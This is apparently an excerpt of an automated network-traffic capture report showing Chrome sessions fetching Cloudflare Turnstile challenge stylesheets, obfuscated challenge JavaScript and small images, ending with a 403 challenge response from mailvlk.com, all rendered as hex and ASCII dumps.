Data Ascii: challenge-error-text a:active,.theme-dark #challenge-error-text a:focus { color: #949494;}.theme-dark .ctp-checkbox-label .mark { border: 2px solid #dadada; background-color: #222;}.theme-dark .ctp-checkbox-label input:focus ~ .mark, .theme-dar
2024-04-24 13:43:08 UTC	1369	IN	Data Raw: 20 20 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 20 23 36 36 36 3b 0a 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 32 32 32 3b 0a 7d 0a 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 71 72 20 7b 0a 20 20 66 69 6c 6c 3a 20 72 67 62 28 32 34 33 2c 20 31 32 38 2c 20 33 32 29 3b 0a 7d 0a 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 6c 6f 67 6f 2d 74 65 78 74 20 7b 0a 20 20 66 69 6c 6c 3a 20 23 66 66 66 3b 0a 7d 0a 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 69 6e 6b 2c 0a 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 20 7b 0a 20 20 63 6f 6c 6f 72 3a 20 23 62 62 62 3b 0a 7d 0a 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 69 6e 6b 3a 76 69 73 69 74 65 64 2c Data Ascii: border-color: #666; background-color: #222;}.theme-dark #qr { fill: rgb(243, 128, 32);}.theme-dark .logo-text { fill: #fff;}.theme-dark #fr-helper-link,.theme-dark #fr-helper-loop-link { color: #bbb;}.theme-dark #fr-helper-link:visited,
2024-04-24 13:43:08 UTC	1369	IN	Data Raw: 63 6f 6c 6f 72 3a 20 23 66 61 66 61 66 61 3b 0a 7d 0a 0a 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 2c 0a 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 7b 0a 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 30 70 78 3b 0a 20 20 63 6f 6c 6f 72 3a 20 23 64 65 31 33 30 33 3b 0a 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 39 70 78 3b 0a 7d 0a 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 2c 0a 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 20 7b 0a 20 20 63 6f 6c 6f 72 3a 20 23 31 64 31 66 32 30 3b 0a 7d 0a 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 3a 76 69 73 69 74 65 64 2c 20 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 Data Ascii: color: #fafafa;}#challenge-overlay,#challenge-error-text { text-align: center; line-height: 10px; color: #de1303; font-size: 9px;}#challenge-overlay a,#challenge-error-text a { color: #1d1f20;}#challenge-overlay a:visited, #challenge-ov
2024-04-24 13:43:08 UTC	1369	IN	Data Raw: 74 69 76 65 20 7e 20 2e 6d 61 72 6b 20 7b 0a 20 20 62 6f 72 64 65 72 3a 20 32 70 78 20 73 6f 6c 69 64 20 23 63 34 34 64 30 65 3b 0a 7d 0a 2e 63 74 70 2d 63 68 65 63 6b 62 6f 78 2d 6c 61 62 65 6c 20 69 6e 70 75 74 3a 61 63 74 69 76 65 20 7e 20 73 70 61 6e 2e 63 74 70 2d 6c 61 62 65 6c 20 7b 0a 20 20 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 75 6e 64 65 72 6c 69 6e 65 3b 0a 7d 0a 2e 63 74 70 2d 63 68 65 63 6b 62 6f 78 2d 6c 61 62 65 6c 20 69 6e 70 75 74 3a 66 6f 63 75 73 20 7e 20 2e 6d 61 72 6b 20 7b 0a 20 20 62 6f 72 64 65 72 3a 20 32 70 78 20 73 6f 6c 69 64 20 23 63 34 34 64 30 65 3b 0a 7d 0a 2e 63 74 70 2d 63 68 65 63 6b 62 6f 78 2d 6c 61 62 65 6c 20 69 6e 70 75 74 3a 66 6f 63 75 73 20 7e 20 73 70 61 6e 2e 63 74 70 2d 6c 61 62 65 6c 20 7b 0a 20 Data Ascii: tive ~ .mark { border: 2px solid #c44d0e;}.ctp-checkbox-label input:active ~ span.ctp-label { text-decoration: underline;}.ctp-checkbox-label input:focus ~ .mark { border: 2px solid #c44d0e;}.ctp-checkbox-label input:focus ~ span.ctp-label {
2024-04-24 13:43:08 UTC	1369	IN	Data Raw: 6e 6b 2d 73 70 61 63 65 72 20 7b 0a 20 20 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 33 70 78 3b 0a 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 33 70 78 3b 0a 7d 0a 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 2e 63 74 70 2d 63 68 65 63 6b 62 6f 78 2d 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 6c 65 66 74 3b 0a 7d 0a 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 6c 6f 67 6f 20 7b 0a 20 20 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 35 70 78 3b 0a 20 20 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 20 30 3b 0a 20 20 68 65 69 67 68 74 3a 20 32 32 70 78 3b 0a 7d 0a 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 2e 63 62 2d 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 33 70 78 3b 0a 20 20 6d 61 72 67 69 6e 2d 6c Data Ascii: nk-spacer { margin-right: 3px; margin-left: 3px;}.size-compact .ctp-checkbox-container { text-align: left;}.size-compact #logo { margin-top: 5px; margin-bottom: 0; height: 22px;}.size-compact .cb-container { margin-top: 3px; margin-l

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.17	49754	104.17.2.184	443	6776	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 13:43:08 UTC	711	OUT	GET /cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=879685459c6269e3 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/hh0d3/0x4AAAAAAADnPIDROrmt1Wwj/light/normal Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 13:43:09 UTC	358	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 13:43:09 GMT Content-Type: application/javascript; charset=UTF-8 Transfer-Encoding: chunked Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 vary: accept-encoding Server: cloudflare CF-RAY: 8796854a094b09ef-LAS alt-svc: h3=":443"; ma=86400
2024-04-24 13:43:09 UTC	287	IN	Data Raw: 31 31 38 0d 0a 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 75 61 4f 3d 66 61 6c 73 65 3b 7e 66 75 6e 63 74 69 6f 6e 28 69 78 2c 66 45 2c 66 46 2c 66 4d 2c 66 51 2c 66 52 2c 66 56 2c 66 57 2c 66 5a 2c 67 30 2c 67 77 2c 67 79 2c 67 7a 2c 67 41 2c 67 42 2c 67 43 2c 67 44 2c 67 45 2c 67 46 2c 67 47 2c 67 48 2c 67 49 2c 67 4a 2c 67 4b 2c 67 4c 2c 67 4d 2c 67 4e 2c 67 4f 2c 67 50 2c 67 51 2c 67 52 2c 67 53 2c 67 54 2c 67 55 2c 67 56 2c 67 57 2c 67 58 2c 67 59 2c 67 5a 2c 68 30 2c 68 31 2c 68 32 2c 68 33 2c 68 34 2c 68 35 2c 68 36 2c 68 37 2c 68 38 2c 68 39 2c 68 61 2c 68 62 2c 68 63 2c 68 64 2c 68 65 2c 68 66 2c 68 67 2c 68 68 2c 68 69 2c 68 6a 2c 68 6b 2c 68 6c 2c 68 6d 2c 68 6e 2c 68 6f 2c 68 70 2c 68 71 2c 68 72 2c 68 73 2c 68 75 2c 68 47 2c 68 Data Ascii: 118window._cf_chl_opt.uaO=false;~function(ix,fE,fF,fM,fQ,fR,fV,fW,fZ,g0,gw,gy,gz,gA,gB,gC,gD,gE,gF,gG,gH,gI,gJ,gK,gL,gM,gN,gO,gP,gQ,gR,gS,gT,gU,gV,gW,gX,gY,gZ,h0,h1,h2,h3,h4,h5,h6,h7,h8,h9,ha,hb,hc,hd,he,hf,hg,hh,hi,hj,hk,hl,hm,hn,ho,hp,hq,hr,hs,hu,hG,h
2024-04-24 13:43:09 UTC	1369	IN	Data Raw: 63 38 36 0d 0a 59 29 7b 66 6f 72 28 69 78 3d 62 2c 66 75 6e 63 74 69 6f 6e 28 63 2c 64 2c 69 77 2c 65 2c 66 29 7b 66 6f 72 28 69 77 3d 62 2c 65 3d 63 28 29 3b 21 21 5b 5d 3b 29 74 72 79 7b 69 66 28 66 3d 2d 70 61 72 73 65 49 6e 74 28 69 77 28 32 30 37 36 29 29 2f 31 2a 28 2d 70 61 72 73 65 49 6e 74 28 69 77 28 32 34 36 31 29 29 2f 32 29 2b 2d 70 61 72 73 65 49 6e 74 28 69 77 28 32 36 31 39 29 29 2f 33 2a 28 2d 70 61 72 73 65 49 6e 74 28 69 77 28 32 38 31 38 29 29 2f 34 29 2b 70 61 72 73 65 49 6e 74 28 69 77 28 36 38 35 29 29 2f 35 2b 70 61 72 73 65 49 6e 74 28 69 77 28 31 36 37 38 29 29 2f 36 2a 28 70 61 72 73 65 49 6e 74 28 69 77 28 32 36 30 38 29 29 2f 37 29 2b 70 61 72 73 65 49 6e 74 28 69 77 28 35 36 32 29 29 2f 38 2b 70 61 72 73 65 49 6e 74 28 69 77 Data Ascii: c86Y){for(ix=b,function(c,d,iw,e,f){for(iw=b,e=c();!![];)try{if(f=-parseInt(iw(2076))/1(-parseInt(iw(2461))/2)+-parseInt(iw(2619))/3(-parseInt(iw(2818))/4)+parseInt(iw(685))/5+parseInt(iw(1678))/6*(parseInt(iw(2608))/7)+parseInt(iw(562))/8+parseInt(iw
2024-04-24 13:43:09 UTC	1369	IN	Data Raw: 67 5b 6a 66 28 32 39 39 39 29 5d 28 68 5b 44 5d 29 2c 6a 66 28 32 35 33 33 29 3d 3d 3d 69 2b 44 3f 6f 5b 6a 66 28 32 35 39 33 29 5d 28 73 2c 6f 5b 6a 66 28 37 37 39 29 5d 28 69 2c 44 29 2c 45 29 3a 46 7c 7c 6f 5b 6a 66 28 32 35 39 33 29 5d 28 73 2c 69 2b 44 2c 68 5b 44 5d 29 29 3a 6f 5b 6a 66 28 32 38 35 38 29 5d 28 73 2c 69 2b 44 2c 45 29 2c 43 2b 2b 29 3b 72 65 74 75 72 6e 20 6a 3b 66 75 6e 63 74 69 6f 6e 20 73 28 47 2c 48 2c 6a 65 29 7b 6a 65 3d 62 2c 4f 62 6a 65 63 74 5b 6a 65 28 32 30 30 33 29 5d 5b 6a 65 28 35 33 31 29 5d 5b 6a 65 28 32 30 38 35 29 5d 28 6a 2c 48 29 7c 7c 28 6a 5b 48 5d 3d 5b 5d 29 2c 6a 5b 48 5d 5b 6a 65 28 32 34 31 38 29 5d 28 47 29 7d 7d 2c 66 56 3d 69 78 28 32 32 30 39 29 5b 69 78 28 31 36 38 31 29 5d 28 27 3b 27 29 2c 66 57 3d Data Ascii: g[jf(2999)](h[D]),jf(2533)===i+D?o[jf(2593)](s,o[jf(779)](i,D),E):F\|\|o[jf(2593)](s,i+D,h[D])):o[jf(2858)](s,i+D,E),C++);return j;function s(G,H,je){je=b,Object[je(2003)][je(531)][je(2085)](j,H)\|\|(j[H]=[]),j[H][je(2418)](G)}},fV=ix(2209)[ix(1681)](';'),fW=
2024-04-24 13:43:09 UTC	475	IN	Data Raw: 33 29 5d 7d 2c 27 2a 27 29 2c 69 3d 7b 7d 2c 69 5b 6b 30 28 32 36 36 34 29 5d 3d 65 5b 6b 30 28 31 34 38 34 29 5d 2c 69 5b 6b 30 28 39 37 34 29 5d 3d 6c 5b 6b 30 28 35 37 33 29 5d 5b 6b 30 28 32 39 36 29 5d 2c 69 5b 6b 30 28 31 39 38 33 29 5d 3d 65 5b 6b 30 28 32 33 37 32 29 5d 2c 6b 5b 6b 30 28 34 33 38 29 5d 5b 6b 30 28 31 33 36 32 29 5d 28 69 2c 27 2a 27 29 29 3a 28 66 45 5b 6b 30 28 31 34 37 33 29 5d 5b 6b 30 28 31 38 30 32 29 5d 28 29 2c 66 45 5b 6b 30 28 31 34 37 33 29 5d 5b 6b 30 28 31 35 36 33 29 5d 28 29 2c 66 45 5b 6b 30 28 31 36 30 37 29 5d 3d 21 21 5b 5d 2c 66 45 5b 6b 30 28 34 33 38 29 5d 5b 6b 30 28 31 33 36 32 29 5d 28 7b 27 73 6f 75 72 63 65 27 3a 6b 30 28 31 33 36 33 29 2c 27 77 69 64 67 65 74 49 64 27 3a 66 45 5b 6b 30 28 35 37 33 29 5d Data Ascii: 3)]},''),i={},i[k0(2664)]=e[k0(1484)],i[k0(974)]=l[k0(573)][k0(296)],i[k0(1983)]=e[k0(2372)],k[k0(438)][k0(1362)](i,'')):(fE[k0(1473)][k0(1802)](),fE[k0(1473)][k0(1563)](),fE[k0(1607)]=!![],fE[k0(438)][k0(1362)]({'source':k0(1363),'widgetId':fE[k0(573)]
2024-04-24 13:43:09 UTC	1369	IN	Data Raw: 37 30 34 0d 0a 31 28 36 39 37 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 43 2c 44 29 7b 72 65 74 75 72 6e 20 43 7c 7c 44 7d 2c 69 5b 6b 31 28 32 31 30 33 29 5d 3d 6b 31 28 31 39 32 33 29 2c 69 5b 6b 31 28 32 33 31 37 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 43 2c 44 29 7b 72 65 74 75 72 6e 20 43 2b 44 7d 2c 69 5b 6b 31 28 37 32 35 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 43 2c 44 29 7b 72 65 74 75 72 6e 20 43 2b 44 7d 2c 69 5b 6b 31 28 32 37 38 31 29 5d 3d 6b 31 28 32 31 30 34 29 2c 69 29 3b 74 72 79 7b 69 66 28 6b 3d 6a 5b 6b 31 28 36 39 37 29 5d 28 68 2c 6a 5b 6b 31 28 32 31 30 33 29 5d 29 2c 6c 3d 66 45 5b 6b 31 28 35 37 33 29 5d 5b 6b 31 28 34 37 37 29 5d 3f 27 68 2f 27 2b 66 45 5b 6b 31 28 35 37 33 29 5d 5b 6b 31 28 34 37 37 29 5d 2b 27 2f 27 3a 27 27 2c 6d 3d 6a 5b Data Ascii: 7041(697)]=function(C,D){return C\|\|D},i[k1(2103)]=k1(1923),i[k1(2317)]=function(C,D){return C+D},i[k1(725)]=function(C,D){return C+D},i[k1(2781)]=k1(2104),i);try{if(k=j[k1(697)](h,j[k1(2103)]),l=fE[k1(573)][k1(477)]?'h/'+fE[k1(573)][k1(477)]+'/':'',m=j[
2024-04-24 13:43:09 UTC	434	IN	Data Raw: 78 28 32 36 33 33 29 2c 67 79 5b 69 78 28 39 35 39 29 5d 3d 69 78 28 33 30 33 33 29 2c 67 79 5b 69 78 28 39 36 38 29 5d 3d 69 78 28 34 36 38 29 2c 67 79 5b 69 78 28 33 30 34 39 29 5d 3d 69 78 28 36 33 37 29 2c 67 79 5b 69 78 28 36 34 39 29 5d 3d 69 78 28 32 39 30 31 29 2c 67 79 5b 69 78 28 32 31 34 35 29 5d 3d 69 78 28 33 39 33 29 2c 67 79 5b 69 78 28 31 39 31 32 29 5d 3d 69 78 28 32 34 38 32 29 2c 67 79 5b 69 78 28 31 33 39 33 29 5d 3d 69 78 28 32 36 30 36 29 2c 67 79 5b 69 78 28 33 31 30 35 29 5d 3d 69 78 28 33 31 30 32 29 2c 67 79 5b 69 78 28 36 32 34 29 5d 3d 69 78 28 33 38 32 29 2c 67 79 5b 69 78 28 39 35 33 29 5d 3d 69 78 28 32 35 39 32 29 2c 67 79 5b 69 78 28 32 35 38 34 29 5d 3d 69 78 28 33 30 30 34 29 2c 67 79 5b 69 78 28 34 38 37 29 5d 3d 69 78 Data Ascii: x(2633),gy[ix(959)]=ix(3033),gy[ix(968)]=ix(468),gy[ix(3049)]=ix(637),gy[ix(649)]=ix(2901),gy[ix(2145)]=ix(393),gy[ix(1912)]=ix(2482),gy[ix(1393)]=ix(2606),gy[ix(3105)]=ix(3102),gy[ix(624)]=ix(382),gy[ix(953)]=ix(2592),gy[ix(2584)]=ix(3004),gy[ix(487)]=ix
2024-04-24 13:43:09 UTC	869	IN	Data Raw: 33 35 65 0d 0a 33 29 2c 67 79 5b 69 78 28 31 38 31 31 29 5d 3d 69 78 28 32 35 37 38 29 2c 67 79 5b 69 78 28 32 39 37 33 29 5d 3d 69 78 28 31 39 34 30 29 2c 67 79 5b 69 78 28 31 39 38 34 29 5d 3d 69 78 28 31 36 30 33 29 2c 67 79 5b 69 78 28 39 32 37 29 5d 3d 69 78 28 39 36 33 29 2c 67 79 5b 69 78 28 31 32 35 30 29 5d 3d 69 78 28 32 30 35 35 29 2c 67 79 5b 69 78 28 31 31 35 31 29 5d 3d 69 78 28 32 38 36 33 29 2c 67 79 5b 69 78 28 32 39 38 34 29 5d 3d 69 78 28 32 35 38 38 29 2c 67 79 5b 69 78 28 31 33 35 37 29 5d 3d 69 78 28 32 32 37 39 29 2c 67 79 5b 69 78 28 36 33 30 29 5d 3d 69 78 28 37 33 36 29 2c 67 79 5b 69 78 28 34 32 31 29 5d 3d 69 78 28 39 38 32 29 2c 67 79 5b 69 78 28 32 32 39 35 29 5d 3d 69 78 28 31 37 31 32 29 2c 67 79 5b 69 78 28 39 30 30 29 5d Data Ascii: 35e3),gy[ix(1811)]=ix(2578),gy[ix(2973)]=ix(1940),gy[ix(1984)]=ix(1603),gy[ix(927)]=ix(963),gy[ix(1250)]=ix(2055),gy[ix(1151)]=ix(2863),gy[ix(2984)]=ix(2588),gy[ix(1357)]=ix(2279),gy[ix(630)]=ix(736),gy[ix(421)]=ix(982),gy[ix(2295)]=ix(1712),gy[ix(900)]
2024-04-24 13:43:09 UTC	233	IN	Data Raw: 65 33 0d 0a 31 37 36 34 29 2c 67 7a 5b 69 78 28 32 39 37 33 29 5d 3d 69 78 28 32 34 34 36 29 2c 67 7a 5b 69 78 28 31 39 38 34 29 5d 3d 69 78 28 32 37 36 32 29 2c 67 7a 5b 69 78 28 39 32 37 29 5d 3d 69 78 28 32 38 30 35 29 2c 67 7a 5b 69 78 28 31 32 35 30 29 5d 3d 69 78 28 32 33 31 38 29 2c 67 7a 5b 69 78 28 31 31 35 31 29 5d 3d 69 78 28 33 30 38 32 29 2c 67 7a 5b 69 78 28 32 39 38 34 29 5d 3d 69 78 28 33 31 36 38 29 2c 67 7a 5b 69 78 28 31 33 35 37 29 5d 3d 69 78 28 36 31 34 29 2c 67 7a 5b 69 78 28 36 33 30 29 5d 3d 69 78 28 35 39 30 29 2c 67 7a 5b 69 78 28 34 32 31 29 5d 3d 69 78 28 32 38 38 38 29 2c 67 7a 5b 69 78 28 32 32 39 35 29 5d 3d 69 78 28 32 37 31 38 29 2c 67 7a 5b 69 78 28 0d 0a Data Ascii: e31764),gz[ix(2973)]=ix(2446),gz[ix(1984)]=ix(2762),gz[ix(927)]=ix(2805),gz[ix(1250)]=ix(2318),gz[ix(1151)]=ix(3082),gz[ix(2984)]=ix(3168),gz[ix(1357)]=ix(614),gz[ix(630)]=ix(590),gz[ix(421)]=ix(2888),gz[ix(2295)]=ix(2718),gz[ix(
2024-04-24 13:43:09 UTC	219	IN	Data Raw: 64 35 0d 0a 39 30 30 29 5d 3d 69 78 28 35 35 32 29 2c 67 7a 5b 69 78 28 31 37 31 38 29 5d 3d 69 78 28 32 34 37 34 29 2c 67 7a 5b 69 78 28 32 35 33 34 29 5d 3d 69 78 28 36 38 31 29 2c 67 7a 5b 69 78 28 32 37 30 30 29 5d 3d 69 78 28 34 39 31 29 2c 67 7a 5b 69 78 28 31 36 33 36 29 5d 3d 69 78 28 32 32 36 30 29 2c 67 7a 5b 69 78 28 32 31 34 38 29 5d 3d 69 78 28 31 31 35 36 29 2c 67 41 3d 7b 7d 2c 67 41 5b 69 78 28 32 30 30 31 29 5d 3d 69 78 28 31 36 34 37 29 2c 67 41 5b 69 78 28 33 36 38 29 5d 3d 69 78 28 33 30 39 38 29 2c 67 41 5b 69 78 28 39 35 39 29 5d 3d 69 78 28 31 36 39 39 29 2c 67 41 5b 69 78 28 39 36 38 29 5d 3d 69 78 28 36 30 35 29 2c 67 0d 0a Data Ascii: d5900)]=ix(552),gz[ix(1718)]=ix(2474),gz[ix(2534)]=ix(681),gz[ix(2700)]=ix(491),gz[ix(1636)]=ix(2260),gz[ix(2148)]=ix(1156),gA={},gA[ix(2001)]=ix(1647),gA[ix(368)]=ix(3098),gA[ix(959)]=ix(1699),gA[ix(968)]=ix(605),g
2024-04-24 13:43:09 UTC	233	IN	Data Raw: 65 33 0d 0a 41 5b 69 78 28 33 30 34 39 29 5d 3d 69 78 28 33 38 38 29 2c 67 41 5b 69 78 28 36 34 39 29 5d 3d 69 78 28 32 36 35 34 29 2c 67 41 5b 69 78 28 32 31 34 35 29 5d 3d 69 78 28 31 32 36 35 29 2c 67 41 5b 69 78 28 31 39 31 32 29 5d 3d 69 78 28 31 38 32 36 29 2c 67 41 5b 69 78 28 31 33 39 33 29 5d 3d 69 78 28 32 30 31 31 29 2c 67 41 5b 69 78 28 33 31 30 35 29 5d 3d 69 78 28 39 33 34 29 2c 67 41 5b 69 78 28 36 32 34 29 5d 3d 69 78 28 31 35 30 32 29 2c 67 41 5b 69 78 28 39 35 33 29 5d 3d 69 78 28 33 30 37 33 29 2c 67 41 5b 69 78 28 32 35 38 34 29 5d 3d 69 78 28 38 38 38 29 2c 67 41 5b 69 78 28 34 38 37 29 5d 3d 69 78 28 36 30 38 29 2c 67 41 5b 69 78 28 31 30 39 38 29 5d 3d 69 78 28 0d 0a Data Ascii: e3A[ix(3049)]=ix(388),gA[ix(649)]=ix(2654),gA[ix(2145)]=ix(1265),gA[ix(1912)]=ix(1826),gA[ix(1393)]=ix(2011),gA[ix(3105)]=ix(934),gA[ix(624)]=ix(1502),gA[ix(953)]=ix(3073),gA[ix(2584)]=ix(888),gA[ix(487)]=ix(608),gA[ix(1098)]=ix(

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.17	49755	104.17.2.184	443	6776	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 13:43:08 UTC	786	OUT	GET /cdn-cgi/challenge-platform/h/b/cmg/1/wh0E0SXYnx6pTBdJW%2Fl926I%2BPRUplRdtQz3K9lHXs%2Fs%3D HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/hh0d3/0x4AAAAAAADnPIDROrmt1Wwj/light/normal Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 13:43:09 UTC	240	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 13:43:09 GMT Content-Type: image/png Content-Length: 61 Connection: close cache-control: max-age=2629800, public Server: cloudflare CF-RAY: 8796854acf9169e3-LAS alt-svc: h3=":443"; ma=86400
2024-04-24 13:43:09 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 02 00 00 00 02 08 02 00 00 00 fd d4 9a 73 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRsIDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.17	49756	104.17.2.184	443	6776	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 13:43:09 UTC	438	OUT	GET /cdn-cgi/challenge-platform/h/b/cmg/1/wh0E0SXYnx6pTBdJW%2Fl926I%2BPRUplRdtQz3K9lHXs%2Fs%3D HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 13:43:10 UTC	240	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 13:43:10 GMT Content-Type: image/png Content-Length: 61 Connection: close cache-control: max-age=2629800, public Server: cloudflare CF-RAY: 8796854ffabc0ad5-LAS alt-svc: h3=":443"; ma=86400
2024-04-24 13:43:10 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 02 00 00 00 02 08 02 00 00 00 fd d4 9a 73 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRsIDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.17	49757	104.21.50.148	443	6776	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 13:43:10 UTC	850	OUT	GET /favicon.ico HTTP/1.1 Host: mailvlk.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" sec-ch-ua-full-version: "117.0.5938.149" sec-ch-ua-platform-version: "10.0.0" sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.149", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.149" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://mailvlk.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 13:43:10 UTC	1290	IN	HTTP/1.1 403 Forbidden Date: Wed, 24 Apr 2024 13:43:10 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 16710 Connection: close Accept-CH: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Full-Version, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA Cross-Origin-Embedder-Policy: require-corp Cross-Origin-Opener-Policy: same-origin Cross-Origin-Resource-Policy: same-origin Origin-Agent-Cluster: ?1 Permissions-Policy: accelerometer=(),autoplay=(),browsing-topics=(),camera=(),clipboard-read=(),clipboard-write=(),geolocation=(),gyroscope=(),hid=(),interest-cohort=(),magnetometer=(),microphone=(),payment=(),publickey-credentials-get=(),screen-wake-lock=(),serial=(),sync-xhr=(),usb=() Referrer-Policy: same-origin X-Frame-Options: SAMEORIGIN cf-mitigated: challenge cf-chl-out: 4inhO4jK2Tw6e9vH+K2JfvJsNVIr43xVtIyvA2sQwN6WwjBsGKB9zrl/msMeSKD6bob69VdfGmIJ6cQkRLceZKnTjJeJ7kqeP19Ml/Nxg70EJKAeKe0BUPHZQXli4J5zdR5/fsKusOBgYtQ7K59r1w==$2/j6EI2G5QBb6r7+83KMTw== Cache-Control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Expires: Thu, 01 Jan 1970 00:00:01 GMT
